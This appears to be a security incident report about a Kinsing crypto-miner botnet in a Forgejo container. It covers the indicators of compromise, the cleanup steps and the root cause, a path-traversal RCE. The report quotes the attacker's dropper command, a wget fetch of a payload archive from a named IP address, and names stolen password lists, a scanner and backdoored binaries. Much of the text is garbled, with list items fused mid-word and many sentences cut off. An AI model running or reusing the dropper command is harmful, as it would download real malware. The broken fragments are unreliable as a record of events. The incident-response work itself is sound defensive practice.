The primary VPS (88.208.212.211) was infected with a Kinsing-family crypto-miner
botnet running inside the Forgejo (git) container. This was the true recurring
cause of the CPU saturation that kept returning despite stopping the AI workload.
pkill -9 -f hermes / pkill -9 -f celery / pkill -9 -f esocket5./tmp/bobs (a known Kinsing miner binary), masquerading asatd daemon under the names atds / atdd..fadea*-00000000.so shared libraries in /tmp (Kinsing IoC) recreated repeatedly.wget -q http://46.101.141.244/ds.tgz download (dropper).s6-svscan /etc/s6 → contained in theb2ee9b43…, image codeberg.org/forgejo/forgejo:14.0).docker diff forgejo)/tmp/.idcc/ds/, /tmp/.piccpdwoeiwerowerwer/ds/,/tmp/.possoldoweruweirwer/ds/ containing: digu (mass scanner), esocket5,exe/exe2 (miner), pos, banlist.txt, ips.txt, pass.txt (harvestedds.tgz (payload).gitea and forgejo-cli binaries were modified (patched/backdoored) in the/data → /opt/forgejo-docker/data/forgejo) was notdocker update --restart=no forgejo then docker stop forgejo — killed all miner/tmp/.fadea*.so artifacts.sha256:a39d4e644a7b… matches official) — image was not tampered.docker rm forgejo (discarded the compromised container layer) and recreated itdocker compose up -d forgejo from the verified clean image.git.veripath.co.uk (HTTP 200) and git-over-SSH (port 2222) work./opt/scripts/cpu-guard.sh) extended to kill esocket* processes.pass.txt/ips.txt):.fadea files, bobs, atds/atdd, esocket5,ds.tgz downloads). The CPU guard logs to /var/log/cpu-guard.log.cap-add, read-only rootfs, no hostcpus: 2.0 / memory: 1G).The miner recurred because this containment did not close the entry vector.
Root cause: Forgejo/Gitea git-apply path-traversal RCE (Applied patch to hooks/post-index-change),
exploited since 2026-08-03 (253 attacker accounts, 239 private malware repos).
Forgejo was upgraded 14.0.5 → 16.0.2, all attacker accounts/repos purged, credentials
rotated, registration disabled, and the web port locked to localhost.
See: Security Incident: Forgejo Compromise — Root Cause Found & Remediated
(2026-08-14)